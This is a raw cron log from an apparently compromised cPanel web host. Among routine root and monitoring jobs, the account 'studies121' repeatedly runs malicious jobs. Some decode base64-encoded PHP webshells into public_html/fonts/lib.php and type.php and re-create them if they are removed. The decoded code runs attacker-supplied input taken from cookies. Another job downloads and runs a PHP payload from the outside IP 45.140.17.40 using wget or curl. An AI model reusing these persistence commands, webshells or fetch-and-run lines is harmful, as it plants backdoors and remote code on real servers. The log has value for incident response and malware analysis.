Aug 30 05:15:01 ip-184-168-122-23 CROND[19261]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 05:15:01 ip-184-168-122-23 CROND[19266]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 05:15:01 ip-184-168-122-23 CROND[19263]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 05:15:01 ip-184-168-122-23 CROND[19264]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 05:15:01 ip-184-168-122-23 CROND[19265]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:16:01 ip-184-168-122-23 CROND[19365]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 05:16:01 ip-184-168-122-23 CROND[19367]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 05:16:01 ip-184-168-122-23 CROND[19368]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:16:01 ip-184-168-122-23 CROND[19369]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 05:16:01 ip-184-168-122-23 CROND[19371]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 05:16:01 ip-184-168-122-23 CROND[19370]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 05:17:01 ip-184-168-122-23 CROND[19498]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 05:17:01 ip-184-168-122-23 CROND[19502]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 05:17:01 ip-184-168-122-23 CROND[19500]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 05:17:01 ip-184-168-122-23 CROND[19501]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:18:01 ip-184-168-122-23 CROND[19591]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 05:18:01 ip-184-168-122-23 CROND[19594]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:18:01 ip-184-168-122-23 CROND[19593]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 05:18:01 ip-184-168-122-23 CROND[19595]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 05:18:01 ip-184-168-122-23 CROND[19596]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 05:19:01 ip-184-168-122-23 CROND[19686]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 05:19:01 ip-184-168-122-23 CROND[19688]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 05:19:01 ip-184-168-122-23 CROND[19689]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:19:01 ip-184-168-122-23 CROND[19690]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 05:20:01 ip-184-168-122-23 CROND[19865]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 05:20:01 ip-184-168-122-23 CROND[19866]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:20:01 ip-184-168-122-23 CROND[19868]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 05:20:01 ip-184-168-122-23 CROND[19872]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 05:20:01 ip-184-168-122-23 CROND[19873]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 05:20:01 ip-184-168-122-23 CROND[19871]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 05:20:01 ip-184-168-122-23 CROND[19874]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 05:20:01 ip-184-168-122-23 CROND[19870]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 05:20:01 ip-184-168-122-23 CROND[19875]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 05:21:01 ip-184-168-122-23 CROND[19984]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 05:21:01 ip-184-168-122-23 CROND[19985]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:21:01 ip-184-168-122-23 CROND[19989]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 05:21:01 ip-184-168-122-23 CROND[20001]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 05:22:01 ip-184-168-122-23 CROND[20099]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 05:22:01 ip-184-168-122-23 CROND[20100]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:22:01 ip-184-168-122-23 CROND[20101]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 05:22:01 ip-184-168-122-23 CROND[20102]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 05:22:01 ip-184-168-122-23 CROND[20104]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 05:23:01 ip-184-168-122-23 CROND[20193]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 05:23:01 ip-184-168-122-23 CROND[20195]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:23:01 ip-184-168-122-23 CROND[20196]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 05:23:01 ip-184-168-122-23 CROND[20197]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 05:24:01 ip-184-168-122-23 CROND[20333]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 05:24:01 ip-184-168-122-23 CROND[20336]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 05:24:01 ip-184-168-122-23 CROND[20335]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 05:24:01 ip-184-168-122-23 CROND[20337]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:24:01 ip-184-168-122-23 CROND[20338]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 05:25:01 ip-184-168-122-23 CROND[20514]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:25:01 ip-184-168-122-23 CROND[20516]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 05:25:01 ip-184-168-122-23 CROND[20517]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 05:25:01 ip-184-168-122-23 CROND[20520]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 05:25:01 ip-184-168-122-23 CROND[20519]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 05:25:01 ip-184-168-122-23 CROND[20525]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 05:26:01 ip-184-168-122-23 CROND[20619]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 05:26:01 ip-184-168-122-23 CROND[20621]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 05:26:01 ip-184-168-122-23 CROND[20622]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 05:26:01 ip-184-168-122-23 CROND[20623]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 05:26:01 ip-184-168-122-23 CROND[20624]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:27:01 ip-184-168-122-23 CROND[20779]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 05:27:01 ip-184-168-122-23 CROND[20782]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
